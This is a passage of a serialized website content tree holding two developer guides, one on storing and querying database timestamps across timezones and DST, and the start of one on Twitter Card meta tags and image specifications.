epochSeconds",[1560,208181,8186],{"class":1669},[1560,208183,9393],{"class":1570},[1560,208185,9406],{"class":1566},[1560,208187,208188],{"class":1570},"(now.",[1560,208190,89547],{"class":1566},[1560,208192,38111],{"class":1570},[1560,208194,9423],{"class":1669},[1560,208196,82375],{"class":1576},[1560,208198,5171],{"class":1570},[1560,208200,208201],{"class":1649},"\u002F\u002F 1716898200\n",[1560,208203,208204],{"class":1562,"line":889},[1560,208205,1702],{"emptyLinePlaceholder":363},[1560,208207,208208],{"class":1562,"line":1710},[1560,208209,208210],{"class":1649},"\u002F\u002F With an ORM like Prisma\n",[1560,208212,208213,208215,208218,208220],{"class":1562,"line":1717},[1560,208214,38273],{"class":1669},[1560,208216,208217],{"class":1570}," prisma.event.",[1560,208219,28071],{"class":1566},[1560,208221,17525],{"class":1570},[1560,208223,208224],{"class":1562,"line":1747},[1560,208225,208226],{"class":1570},"  data: {\n",[1560,208228,208229,208232,208235],{"class":1562,"line":2507},[1560,208230,208231],{"class":1570},"    name: ",[1560,208233,208234],{"class":5634},"'User signup'",[1560,208236,11943],{"class":1570},[1560,208238,208239,208242],{"class":1562,"line":2524},[1560,208240,208241],{"class":1570},"    createdAt: now,  ",[1560,208243,208244],{"class":1649},"\u002F\u002F Prisma handles UTC conversion\n",[1560,208246,208247],{"class":1562,"line":2529},[1560,208248,11862],{"class":1570},[1560,208250,208251],{"class":1562,"line":2534},[1560,208252,11809],{"class":1570},[33,208254,208256],{"id":208255},"reading-timestamps-from-the-database","Reading Timestamps from the Database",[16,208258,208259],{},"Convert to the user's local timezone only at the presentation layer:",[135,208261,208263],{"className":1607,"code":208262,"language":1609,"meta":141,"style":141},"\u002F\u002F Server: return UTC ISO string to client\napp.get('\u002Fevents', async (req, res) => {\n  const events = await db.query('SELECT * FROM events');\n  \u002F\u002F Send UTC timestamps — the client converts to local time\n  res.json(events);\n});\n\n\u002F\u002F Client: display in user's timezone\nfunction formatEventTime(utcISO) {\n  return new Date(utcISO).toLocaleString('en-US', {\n    timeZone: Intl.DateTimeFormat().resolvedOptions().timeZone,\n    dateStyle: 'medium',\n    timeStyle: 'short',\n  });\n}\n",[143,208264,208265,208270,208302,208325,208330,208340,208344,208348,208353,208367,208386,208401,208411,208420,208424],{"__ignoreMap":141},[1560,208266,208267],{"class":1562,"line":1563},[1560,208268,208269],{"class":1649},"\u002F\u002F Server: return UTC ISO string to client\n",[1560,208271,208272,208275,208277,208279,208282,208284,208286,208288,208291,208293,208296,208298,208300],{"class":1562,"line":337},[1560,208273,208274],{"class":1570},"app.",[1560,208276,82334],{"class":1566},[1560,208278,1688],{"class":1570},[1560,208280,208281],{"class":5634},"'\u002Fevents'",[1560,208283,1459],{"class":1570},[1560,208285,82166],{"class":1669},[1560,208287,5181],{"class":1570},[1560,208289,208290],{"class":2219},"req",[1560,208292,1459],{"class":1570},[1560,208294,208295],{"class":2219},"res",[1560,208297,1733],{"class":1570},[1560,208299,11503],{"class":1669},[1560,208301,1571],{"class":1570},[1560,208303,208304,208306,208309,208311,208313,208316,208318,208320,208323],{"class":1562,"line":343},[1560,208305,28057],{"class":1669},[1560,208307,208308],{"class":1576}," events",[1560,208310,8186],{"class":1669},[1560,208312,28065],{"class":1669},[1560,208314,208315],{"class":1570}," db.",[1560,208317,34083],{"class":1566},[1560,208319,1688],{"class":1570},[1560,208321,208322],{"class":5634},"'SELECT * FROM events'",[1560,208324,1744],{"class":1570},[1560,208326,208327],{"class":1562,"line":365},[1560,208328,208329],{"class":1649},"  \u002F\u002F Send UTC timestamps — the client converts to local time\n",[1560,208331,208332,208335,208337],{"class":1562,"line":889},[1560,208333,208334],{"class":1570},"  res.",[1560,208336,23486],{"class":1566},[1560,208338,208339],{"class":1570},"(events);\n",[1560,208341,208342],{"class":1562,"line":1710},[1560,208343,11809],{"class":1570},[1560,208345,208346],{"class":1562,"line":1717},[1560,208347,1702],{"emptyLinePlaceholder":363},[1560,208349,208350],{"class":1562,"line":1747},[1560,208351,208352],{"class":1649},"\u002F\u002F Client: display in user's timezone\n",[1560,208354,208355,208357,208360,208362,208365],{"class":1562,"line":2507},[1560,208356,8648],{"class":1669},[1560,208358,208359],{"class":1566}," formatEventTime",[1560,208361,1688],{"class":1570},[1560,208363,208364],{"class":2219},"utcISO",[1560,208366,9345],{"class":1570},[1560,208368,208369,208371,208373,208375,208378,208380,208382,208384],{"class":1562,"line":2524},[1560,208370,9350],{"class":1669},[1560,208372,11489],{"class":1669},[1560,208374,87644],{"class":1566},[1560,208376,208377],{"class":1570},"(utcISO).",[1560,208379,94975],{"class":1566},[1560,208381,1688],{"class":1570},[1560,208383,89294],{"class":5634},[1560,208385,49495],{"class":1570},[1560,208387,208388,208391,208393,208395,208398],{"class":1562,"line":2529},[1560,208389,208390],{"class":1570},"    timeZone: Intl.",[1560,208392,89289],{"class":1566},[1560,208394,42138],{"class":1570},[1560,208396,208397],{"class":1566},"resolvedOptions",[1560,208399,208400],{"class":1570},"().timeZone,\n",[1560,208402,208403,208406,208409],{"class":1562,"line":2534},[1560,208404,208405],{"class":1570},"    dateStyle: ",[1560,208407,208408],{"class":5634},"'medium'",[1560,208410,11943],{"class":1570},[1560,208412,208413,208416,208418],{"class":1562,"line":2542},[1560,208414,208415],{"class":1570},"    timeStyle: ",[1560,208417,184031],{"class":5634},[1560,208419,11943],{"class":1570},[1560,208421,208422],{"class":1562,"line":2558},[1560,208423,11618],{"class":1570},[1560,208425,208426],{"class":1562,"line":2570},[1560,208427,1585],{"class":1570},[11,208429,208069],{"id":208430},"timezone-aware-queries",[33,208432,208434],{"id":208433},"filtering-by-today-in-a-users-timezone","Filtering by \"Today\" in a User's Timezone",[16,208436,208437],{},"A common query is \"show me all events from today.\" If your database stores UTC, you must compute the UTC boundaries for the user's local day:",[135,208439,208441],{"className":23599,"code":208440,"language":23601,"meta":141,"style":141},"-- Events on May 28, 2024 in America\u002FNew_York (UTC-4)\nSELECT * FROM events\nWHERE created_at >= '2024-05-28 04:00:00'  -- midnight EDT = 04:00 UTC\n  AND created_at \u003C  '2024-05-29 04:00:00'; -- next midnight EDT\n",[143,208442,208443,208448,208453,208458],{"__ignoreMap":141},[1560,208444,208445],{"class":1562,"line":1563},[1560,208446,208447],{},"-- Events on May 28, 2024 in America\u002FNew_York (UTC-4)\n",[1560,208449,208450],{"class":1562,"line":337},[1560,208451,208452],{},"SELECT * FROM events\n",[1560,208454,208455],{"class":1562,"line":343},[1560,208456,208457],{},"WHERE created_at >= '2024-05-28 04:00:00'  -- midnight EDT = 04:00 UTC\n",[1560,208459,208460],{"class":1562,"line":365},[1560,208461,208462],{},"  AND created_at \u003C  '2024-05-29 04:00:00'; -- next midnight EDT\n",[135,208464,208466],{"className":1607,"code":208465,"language":1609,"meta":141,"style":141},"\u002F\u002F Compute UTC boundaries in application code\nfunction getDayBoundaries(date, timezone) {\n  const start = new Date(Date.UTC(date.getFullYear(), date.getMonth(), date.getDate()));\n  const utcStart = new Date(start.toLocaleString('en-US', { timeZone: timezone }));\n  const offset = start - utcStart; \u002F\u002F timezone offset in ms\n  return {\n    start: new Date(start.getTime() + offset),\n    end: new Date(start.getTime() + offset + 86400000),\n  };\n}\n",[143,208467,208468,208473,208490,208523,208548,208567,208573,208593,208619,208623],{"__ignoreMap":141},[1560,208469,208470],{"class":1562,"line":1563},[1560,208471,208472],{"class":1649},"\u002F\u002F Compute UTC boundaries in application code\n",[1560,208474,208475,208477,208480,208482,208484,208486,208488],{"class":1562,"line":337},[1560,208476,8648],{"class":1669},[1560,208478,208479],{"class":1566}," getDayBoundaries",[1560,208481,1688],{"class":1570},[1560,208483,88150],{"class":2219},[1560,208485,1459],{"class":1570},[1560,208487,206941],{"class":2219},[1560,208489,9345],{"class":1570},[1560,208491,208492,208494,208496,208498,208500,208502,208504,208507,208509,208511,208514,208516,208518,208520],{"class":1562,"line":343},[1560,208493,28057],{"class":1669},[1560,208495,99196],{"class":1576},[1560,208497,8186],{"class":1669},[1560,208499,11489],{"class":1669},[1560,208501,87644],{"class":1566},[1560,208503,90101],{"class":1570},[1560,208505,208506],{"class":1566},"UTC",[1560,208508,87662],{"class":1570},[1560,208510,88700],{"class":1566},[1560,208512,208513],{"class":1570},"(), date.",[1560,208515,88186],{"class":1566},[1560,208517,208513],{"class":1570},[1560,208519,87665],{"class":1566},[1560,208521,208522],{"class":1570},"()));\n",[1560,208524,208525,208527,208530,208532,208534,208536,208539,208541,208543,208545],{"class":1562,"line":365},[1560,208526,28057],{"class":1669},[1560,208528,208529],{"class":1576}," utcStart",[1560,208531,8186],{"class":1669},[1560,208533,11489],{"class":1669},[1560,208535,87644],{"class":1566},[1560,208537,208538],{"class":1570},"(start.",[1560,208540,94975],{"class":1566},[1560,208542,1688],{"class":1570},[1560,208544,89294],{"class":5634},[1560,208546,208547],{"class":1570},", { timeZone: timezone }));\n",[1560,208549,208550,208552,208554,208556,208559,208561,208564],{"class":1562,"line":889},[1560,208551,28057],{"class":1669},[1560,208553,29005],{"class":1576},[1560,208555,8186],{"class":1669},[1560,208557,208558],{"class":1570}," start ",[1560,208560,9412],{"class":1669},[1560,208562,208563],{"class":1570}," utcStart; ",[1560,208565,208566],{"class":1649},"\u002F\u002F timezone offset in ms\n",[1560,208568,208569,208571],{"class":1562,"line":1710},[1560,208570,9350],{"class":1669},[1560,208572,1571],{"class":1570},[1560,208574,208575,208578,208580,208582,208584,208586,208588,208590],{"class":1562,"line":1717},[1560,208576,208577],{"class":1570},"    start: ",[1560,208579,20807],{"class":1669},[1560,208581,87644],{"class":1566},[1560,208583,208538],{"class":1570},[1560,208585,89547],{"class":1566},[1560,208587,38111],{"class":1570},[1560,208589,9448],{"class":1669},[1560,208591,208592],{"class":1570}," offset),\n",[1560,208594,208595,208598,208600,208602,208604,208606,208608,208610,208612,208614,208617],{"class":1562,"line":1747},[1560,208596,208597],{"class":1570},"    end: ",[1560,208599,20807],{"class":1669},[1560,208601,87644],{"class":1566},[1560,208603,208538],{"class":1570},[1560,208605,89547],{"class":1566},[1560,208607,38111],{"class":1570},[1560,208609,9448],{"class":1669},[1560,208611,111343],{"class":1570},[1560,208613,9448],{"class":1669},[1560,208615,208616],{"class":1576}," 86400000",[1560,208618,19216],{"class":1570},[1560,208620,208621],{"class":1562,"line":2507},[1560,208622,130885],{"class":1570},[1560,208624,208625],{"class":1562,"line":2524},[1560,208626,1585],{"class":1570},[33,208628,208630],{"id":208629},"dst-transitions","DST Transitions",[16,208632,208633,208634,208636,208637,1459,208640,1877,208643,208646],{},"Daylight Saving Time complicates offset calculations. A timezone like ",[143,208635,89720],{}," shifts between UTC-5 and UTC-4. Always use a timezone library (like ",[143,208638,208639],{},"luxon",[143,208641,208642],{},"date-fns-tz",[143,208644,208645],{},"moment-timezone",") rather than hardcoding offsets:",[135,208648,208650],{"className":1607,"code":208649,"language":1609,"meta":141,"style":141},"const { DateTime } = require('luxon');\n\n\u002F\u002F Correct: library handles DST\nconst localTime = DateTime.fromISO('2024-03-10T02:30:00', { zone: 'America\u002FNew_York' });\n\u002F\u002F This time doesn't exist — clocks jump from 2:00 to 3:00 AM\n\u002F\u002F Luxon handles it by default (adjusts forward)\n",[143,208651,208652,208674,208678,208683,208710,208715],{"__ignoreMap":141},[1560,208653,208654,208656,208658,208661,208663,208665,208667,208669,208672],{"class":1562,"line":1563},[1560,208655,8180],{"class":1669},[1560,208657,1658],{"class":1570},[1560,208659,208660],{"class":1576},"DateTime",[1560,208662,49704],{"class":1570},[1560,208664,7297],{"class":1669},[1560,208666,20658],{"class":1566},[1560,208668,1688],{"class":1570},[1560,208670,208671],{"class":5634},"'luxon'",[1560,208673,1744],{"class":1570},[1560,208675,208676],{"class":1562,"line":337},[1560,208677,1702],{"emptyLinePlaceholder":363},[1560,208679,208680],{"class":1562,"line":343},[1560,208681,208682],{"class":1649},"\u002F\u002F Correct: library handles DST\n",[1560,208684,208685,208687,208689,208691,208694,208697,208699,208702,208705,208708],{"class":1562,"line":365},[1560,208686,8180],{"class":1669},[1560,208688,207100],{"class":1576},[1560,208690,8186],{"class":1669},[1560,208692,208693],{"class":1570}," DateTime.",[1560,208695,208696],{"class":1566},"fromISO",[1560,208698,1688],{"class":1570},[1560,208700,208701],{"class":5634},"'2024-03-10T02:30:00'",[1560,208703,208704],{"class":1570},", { zone: ",[1560,208706,208707],{"class":5634},"'America\u002FNew_York'",[1560,208709,11630],{"class":1570},[1560,208711,208712],{"class":1562,"line":889},[1560,208713,208714],{"class":1649},"\u002F\u002F This time doesn't exist — clocks jump from 2:00 to 3:00 AM\n",[1560,208716,208717],{"class":1562,"line":1710},[1560,208718,208719],{"class":1649},"\u002F\u002F Luxon handles it by default (adjusts forward)\n",[11,208721,2341],{"id":2340},[33,208723,208725],{"id":208724},"storing-local-time-without-timezone","Storing Local Time Without Timezone",[135,208727,208729],{"className":23599,"code":208728,"language":23601,"meta":141,"style":141},"-- Danger: no timezone info — ambiguous during DST transitions\nINSERT INTO events (created_at) VALUES ('2024-07-15 14:30:00');\n-- Is this 14:30 EDT or 14:30 UTC? The database doesn't know.\n",[143,208730,208731,208736,208741],{"__ignoreMap":141},[1560,208732,208733],{"class":1562,"line":1563},[1560,208734,208735],{},"-- Danger: no timezone info — ambiguous during DST transitions\n",[1560,208737,208738],{"class":1562,"line":337},[1560,208739,208740],{},"INSERT INTO events (created_at) VALUES ('2024-07-15 14:30:00');\n",[1560,208742,208743],{"class":1562,"line":343},[1560,208744,208745],{},"-- Is this 14:30 EDT or 14:30 UTC? The database doesn't know.\n",[33,208747,208749],{"id":208748},"using-current_timestamp-without-understanding-it","Using CURRENT_TIMESTAMP Without Understanding It",[16,208751,208752,208753,208756],{},"In PostgreSQL, ",[143,208754,208755],{},"CURRENT_TIMESTAMP"," returns the current time in the session's timezone. If the session timezone is misconfigured, your inserts silently use the wrong offset.",[33,208758,208760],{"id":208759},"comparing-timestamp-and-timestamptz-columns","Comparing TIMESTAMP and TIMESTAMPTZ Columns",[16,208762,208763],{},"Mixing these column types in queries produces confusing results because PostgreSQL silently converts between them using the session timezone.",[11,208765,1355],{"id":1354},[41,208767,208768,208777,208780,208785,208788,208791],{},[44,208769,208770,208771,208773,208774,208776],{},"Store all timestamps in UTC — either as ",[143,208772,207968],{},", ISO 8601 strings with ",[143,208775,22039],{},", or Unix epoch integers",[44,208778,208779],{},"Convert to local time only at the display layer, never in the database or API layer",[44,208781,1388,208782,208784],{},[143,208783,207968],{}," in PostgreSQL for automatic UTC conversion on input",[44,208786,208787],{},"Compute timezone boundaries in application code when filtering by \"today\" or date ranges",[44,208789,208790],{},"Always use a timezone library for DST-aware calculations rather than hardcoded offsets",[44,208792,208793],{},"Never store local time without an offset — it becomes ambiguous during DST transitions",[11,208795,286],{"id":285},[16,208797,208798,208799,208801],{},"Convert timestamps between UTC, local time, and different timezone formats with our free ",[98,208800,623],{"href":622},". Supports ISO 8601, Unix epoch, and custom formats — all processed locally in your browser.",[16,208803,208804],{},[98,208805,99849],{"href":622},[2043,208807,208808],{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .s4XuR, html code.shiki .s4XuR{--shiki-default:#E36209;--shiki-dark:#FFAB70}",{"title":141,"searchDepth":337,"depth":337,"links":208810},[208811,208812,208817,208821,208825,208830,208831],{"id":207881,"depth":337,"text":207882},{"id":207891,"depth":337,"text":207892,"children":208813},[208814,208815,208816],{"id":207895,"depth":343,"text":207896},{"id":207961,"depth":343,"text":207962},{"id":70068,"depth":343,"text":70069},{"id":208116,"depth":337,"text":208117,"children":208818},[208819,208820],{"id":208120,"depth":343,"text":208121},{"id":208255,"depth":343,"text":208256},{"id":208430,"depth":337,"text":208069,"children":208822},[208823,208824],{"id":208433,"depth":343,"text":208434},{"id":208629,"depth":343,"text":208630},{"id":2340,"depth":337,"text":2341,"children":208826},[208827,208828,208829],{"id":208724,"depth":343,"text":208725},{"id":208748,"depth":343,"text":208749},{"id":208759,"depth":343,"text":208760},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},"Learn how to store and query timestamps with proper timezone handling. Compare UTC storage, timestamptz columns, and timezone-aware queries.",{"immutable":363},"\u002Fguides\u002Ftimezone-database-timestamps",{"title":207876,"description":208832},"guides\u002Ftimezone-database-timestamps","GPdVKH265HxfVJuncwu0Ur0ZPu3mOK6VSEQFtadD4wk",{"id":208839,"title":153990,"body":208840,"date":2070,"description":209944,"extension":361,"meta":209945,"navigation":363,"path":153989,"readingTime":1717,"seo":209946,"stem":209947,"__hash__":209948},"guides\u002Fguides\u002Ftwitter-card-meta-tags-guide.md",{"type":8,"value":208841,"toc":209926},[208842,208846,208852,208855,208859,208939,208950,208954,208958,209091,209174,209178,209304,209307,209311,209376,209379,209383,209389,209433,209436,209558,209562,209566,209569,209681,209685,209688,209821,209824,209828,209867,209869,209900,209902,209916,209918,209924],[11,208843,208845],{"id":208844},"what-are-twitter-cards","What Are Twitter Cards?",[16,208847,208848,208849,208851],{},"Twitter Cards are meta tags you add to your page's ",[143,208850,13169],{}," that tell Twitter how to display your content when someone shares a link. Without them, Twitter shows a plain text link. With them, your tweet includes an image, title, and description — dramatically increasing click-through rates.",[16,208853,208854],{},"Twitter supports four card types, each suited to different content.",[11,208856,208858],{"id":208857},"the-four-card-types","The Four Card Types",[193,208860,208861,208877],{},[196,208862,208863],{},[199,208864,208865,208867,208872,208875],{},[202,208866,161614],{},[202,208868,208869,208871],{},[143,208870,161749],{}," Value",[202,208873,208874],{},"Visual Layout",[202,208876,489],{},[211,208878,208879,208894,208909,208923],{},[199,208880,208881,208884,208888,208891],{},[216,208882,208883],{},"Summary",[216,208885,208886],{},[143,208887,161627],{},[216,208889,208890],{},"Small square thumbnail on the left, text on the right",[216,208892,208893],{},"Blog posts, articles, general pages",[199,208895,208896,208899,208903,208906],{},[216,208897,208898],{},"Summary Large Image",[216,208900,208901],{},[143,208902,161640],{},[216,208904,208905],{},"Large image above the text",[216,208907,208908],{},"Feature images, hero content, visual stories",[199,208910,208911,208913,208917,208920],{},[216,208912,163237],{},[216,208914,208915],{},[143,208916,37236],{},[216,208918,208919],{},"Direct download button for a mobile app",[216,208921,208922],{},"Mobile app promotion",[199,208924,208925,208928,208933,208936],{},[216,208926,208927],{},"Player",[216,208929,208930],{},[143,208931,208932],{},"player",[216,208934,208935],{},"Embedded audio or video player",[216,208937,208938],{},"Media content, livestreams, podcasts",[16,208940,208941,208942,1531,208944,208946,208947,208949],{},"Most websites only need ",[143,208943,161627],{},[143,208945,161640],{},". Choose ",[143,208948,161640],{}," when your content has a strong visual — it converts better.",[11,208951,208953],{"id":208952},"required-and-optional-tags","Required and Optional Tags",[33,208955,208957],{"id":208956},"summary-card","Summary Card",[135,208959,208961],{"className":6417,"code":208960,"language":6419,"meta":141,"style":141},"\u003Cmeta name=\"twitter:card\" content=\"summary\">\n\u003Cmeta name=\"twitter:site\" content=\"@yourhandle\">\n\u003Cmeta name=\"twitter:title\" content=\"Your Page Title\">\n\u003Cmeta name=\"twitter:description\" content=\"A concise description of the content.\">\n\u003Cmeta name=\"twitter:image\" content=\"https:\u002F\u002Fexample.com\u002Fimage.jpg\">\n\u003Cmeta name=\"twitter:image:alt\" content=\"Description of the image\">\n",[143,208962,208963,208984,209006,209027,209048,209069],{"__ignoreMap":141},[1560,208964,208965,208967,208969,208971,208973,208975,208977,208979,208982],{"class":1562,"line":1563},[1560,208966,6431],{"class":1570},[1560,208968,108827],{"class":2484},[1560,208970,108846],{"class":1566},[1560,208972,7297],{"class":1570},[1560,208974,161669],{"class":5634},[1560,208976,108854],{"class":1566},[1560,208978,7297],{"class":1570},[1560,208980,208981],{"class":5634},"\"summary\"",[1560,208983,6441],{"class":1570},[1560,208985,208986,208988,208990,208992,208994,208997,208999,209001,209004],{"class":1562,"line":337},[1560,208987,6431],{"class":1570},[1560,208989,108827],{"class":2484},[1560,208991,108846],{"class":1566},[1560,208993,7297],{"class":1570},[1560,208995,208996],{"class":5634},"\"twitter:site\"",[1560,208998,108854],{"class":1566},[1560,209000,7297],{"class":1570},[1560,209002,209003],{"class":5634},"\"@yourhandle\"",[1560,209005,6441],{"class":1570},[1560,209007,209008,209010,209012,209014,209016,209018,209020,209022,209025],{"class":1562,"line":343},[1560,209009,6431],{"class":1570},[1560,209011,108827],{"class":2484},[1560,209013,108846],{"class":1566},[1560,209015,7297],{"class":1570},[1560,209017,161691],{"class":5634},[1560,209019,108854],{"class":1566},[1560,209021,7297],{"class":1570},[1560,209023,209024],{"class":5634},"\"Your Page Title\"",[1560,209026,6441],{"class":1570},[1560,209028,209029,209031,209033,209035,209037,209039,209041,209043,209046],{"class":1562,"line":365},[1560,209030,6431],{"class":1570},[1560,209032,108827],{"class":2484},[1560,209034,108846],{"class":1566},[1560,209036,7297],{"class":1570},[1560,209038,161712],{"class":5634},[1560,209040,108854],{"class":1566},[1560,209042,7297],{"class":1570},[1560,209044,209045],{"class":5634},"\"A concise description of the content.\"",[1560,209047,6441],{"class":1570},[1560,209049,209050,209052,209054,209056,209058,209060,209062,209064,209067],{"class":1562,"line":889},[1560,209051,6431],{"class":1570},[1560,209053,108827],{"class":2484},[1560,209055,108846],{"class":1566},[1560,209057,7297],{"class":1570},[1560,209059,161733],{"class":5634},[1560,209061,108854],{"class":1566},[1560,209063,7297],{"class":1570},[1560,209065,209066],{"class":5634},"\"https:\u002F\u002Fexample.com\u002Fimage.jpg\"",[1560,209068,6441],{"class":1570},[1560,209070,209071,209073,209075,209077,209079,209082,209084,209086,209089],{"class":1562,"line":1710},[1560,209072,6431],{"class":1570},[1560,209074,108827],{"class":2484},[1560,209076,108846],{"class":1566},[1560,209078,7297],{"class":1570},[1560,209080,209081],{"class":5634},"\"twitter:image:alt\"",[1560,209083,108854],{"class":1566},[1560,209085,7297],{"class":1570},[1560,209087,209088],{"class":5634},"\"Description of the image\"",[1560,209090,6441],{"class":1570},[193,209092,209093,209104],{},[196,209094,209095],{},[199,209096,209097,209099,209102],{},[202,209098,152293],{},[202,209100,209101],{},"Required?",[202,209103,2683],{},[211,209105,209106,209117,209129,209140,209151,209162],{},[199,209107,209108,209112,209114],{},[216,209109,209110],{},[143,209111,161749],{},[216,209113,3057],{},[216,209115,209116],{},"Must be first in the set",[199,209118,209119,209124,209126],{},[216,209120,209121],{},[143,209122,209123],{},"twitter:site",[216,209125,175897],{},[216,209127,209128],{},"Your brand's Twitter handle",[199,209130,209131,209135,209137],{},[216,209132,209133],{},[143,209134,161756],{},[216,209136,3057],{},[216,209138,209139],{},"Max 70 characters",[199,209141,209142,209146,209148],{},[216,209143,209144],{},[143,209145,183049],{},[216,209147,3057],{},[216,209149,209150],{},"Max 200 characters",[199,209152,209153,209157,209159],{},[216,209154,209155],{},[143,209156,161759],{},[216,209158,175897],{},[216,209160,209161],{},"Square, minimum 144×144px",[199,209163,209164,209169,209171],{},[216,209165,209166],{},[143,209167,209168],{},"twitter:image:alt",[216,209170,175897],{},[216,209172,209173],{},"Accessibility description for the image",[33,209175,209177],{"id":209176},"summary-large-image-card","Summary Large Image Card",[135,209179,209181],{"className":6417,"code":209180,"language":6419,"meta":141,"style":141},"\u003Cmeta name=\"twitter:card\" content=\"summary_large_image\">\n\u003Cmeta name=\"twitter:site\" content=\"@yourhandle\">\n\u003Cmeta name=\"twitter:title\" content=\"Your Page Title\">\n\u003Cmeta name=\"twitter:description\" content=\"A concise description of the content.\">\n\u003Cmeta name=\"twitter:image\" content=\"https:\u002F\u002Fexample.com\u002Flarge-image.jpg\">\n\u003Cmeta name=\"twitter:image:alt\" content=\"Description of the image\">\n",[143,209182,209183,209203,209223,209243,209263,209284],{"__ignoreMap":141},[1560,209184,209185,209187,209189,209191,209193,209195,209197,209199,209201],{"class":1562,"line":1563},[1560,209186,6431],{"class":1570},[1560,209188,108827],{"class":2484},[1560,209190,108846],{"class":1566},[1560,209192,7297],{"class":1570},[1560,209194,161669],{"class":5634},[1560,209196,108854],{"class":1566},[1560,209198,7297],{"class":1570},[1560,209200,161676],{"class":5634},[1560,209202,6441],{"class":1570},[1560,209204,209205,209207,209209,209211,209213,209215,209217,209219,209221],{"class":1562,"line":337},[1560,209206,6431],{"class":1570},[1560,209208,108827],{"class":2484},[1560,209210,108846],{"class":1566},[1560,209212,7297],{"class":1570},[1560,209214,208996],{"class":5634},[1560,209216,108854],{"class":1566},[1560,209218,7297],{"class":1570},[1560,209220,209003],{"class":5634},[1560,209222,6441],{"class":1570},[1560,209224,209225,209227,209229,209231,209233,209235,209237,209239,209241],{"class":1562,"line":343},[1560,209226,6431],{"class":1570},[1560,209228,108827],{"class":2484},[1560,209230,108846],{"class":1566},[1560,209232,7297],{"class":1570},[1560,209234,161691],{"class":5634},[1560,209236,108854],{"class":1566},[1560,209238,7297],{"class":1570},[1560,209240,209024],{"class":5634},[1560,209242,6441],{"class":1570},[1560,209244,209245,209247,209249,209251,209253,209255,209257,209259,209261],{"class":1562,"line":365},[1560,209246,6431],{"class":1570},[1560,209248,108827],{"class":2484},[1560,209250,108846],{"class":1566},[1560,209252,7297],{"class":1570},[1560,209254,161712],{"class":5634},[1560,209256,108854],{"class":1566},[1560,209258,7297],{"class":1570},[1560,209260,209045],{"class":5634},[1560,209262,6441],{"class":1570},[1560,209264,209265,209267,209269,209271,209273,209275,209277,209279,209282],{"class":1562,"line":889},[1560,209266,6431],{"class":1570},[1560,209268,108827],{"class":2484},[1560,209270,108846],{"class":1566},[1560,209272,7297],{"class":1570},[1560,209274,161733],{"class":5634},[1560,209276,108854],{"class":1566},[1560,209278,7297],{"class":1570},[1560,209280,209281],{"class":5634},"\"https:\u002F\u002Fexample.com\u002Flarge-image.jpg\"",[1560,209283,6441],{"class":1570},[1560,209285,209286,209288,209290,209292,209294,209296,209298,209300,209302],{"class":1562,"line":1710},[1560,209287,6431],{"class":1570},[1560,209289,108827],{"class":2484},[1560,209291,108846],{"class":1566},[1560,209293,7297],{"class":1570},[1560,209295,209081],{"class":5634},[1560,209297,108854],{"class":1566},[1560,209299,7297],{"class":1570},[1560,209301,209088],{"class":5634},[1560,209303,6441],{"class":1570},[16,209305,209306],{},"The key difference: the image must be at least 300×157px and is displayed at 2:1 aspect ratio below the text area.",[11,209308,209310],{"id":209309},"image-specifications","Image Specifications",[193,209312,209313,209323],{},[196,209314,209315],{},[199,209316,209317,209319,209321],{},[202,209318,14482],{},[202,209320,208883],{},[202,209322,208898],{},[211,209324,209325,209336,209346,209355,209366],{},[199,209326,209327,209330,209333],{},[216,209328,209329],{},"Min size",[216,209331,209332],{},"144×144px",[216,209334,209335],{},"300×157px",[199,209337,209338,209341,209344],{},[216,209339,209340],{},"Max size",[216,209342,209343],{},"4096×4096px",[216,209345,209343],{},[199,209347,209348,209351,209353],{},[216,209349,209350],{},"Max file size",[216,209352,183025],{},[216,209354,183025],{},[199,209356,209357,209360,209363],{},[216,209358,209359],{},"Aspect ratio",[216,209361,209362],{},"1:1 (square)",[216,209364,209365],{},"2:1 (landscape)",[199,209367,209368,209371,209374],{},[216,209369,209370],{},"Formats",[216,209372,209373],{},"JPG, PNG, GIF, WEBP",[216,209375,209373],{},[16,209377,209378],{},"Always provide the largest clean image you can. Twitter crops and resizes to fit the viewer's device. An image that looks fine at 300px may look blurry on a retina display — aim for at least 1200×600px for large image cards.",[11,209380,209382],{"id":209381},"relationship-with-open-graph-tags","Relationship with Open Graph Tags",[16,209384,209385,209386,209388],{},"Twitter falls back to Open Graph tags when Twitter-specific tags are missing. If you already have OG tags, you only need to add ",[143,209387,161749],{}," and any overrides.",[193,209390,209391,209401],{},[196,209392,209393],{},[199,209394,209395,209398],{},[202,209396,209397],{},"Twitter Tag",[202,209399,209400],{},"OG Fallback",[211,209402,209403,209413,209423],{},[199,209404,209405,209409],{},[216,209406,209407],{},[143,209408,161756],{},[216,209410,209411],{},[143,209412,161130],{},[199,209414,209415,209419],{},[216,209416,209417],{},[143,209418,183049],{},[216,209420,209421],{},[143,209422,161143],{},[199,209424,209425,209429],{},[216,209426,209427],{},[143,209428,161759],{},[216,209430,209431],{},[143,209432,161156],{},[16,209434,209435],{},"If you provide both, Twitter uses its own tags. This lets you customize how your content appears on Twitter independently of Facebook and other platforms.",[135,209437,209439],{"className":6417,"code":209438,"language":6419,"meta":141,"style":141},"\u003C!-- Shared across platforms -->\n\u003Cmeta property=\"og:title\" 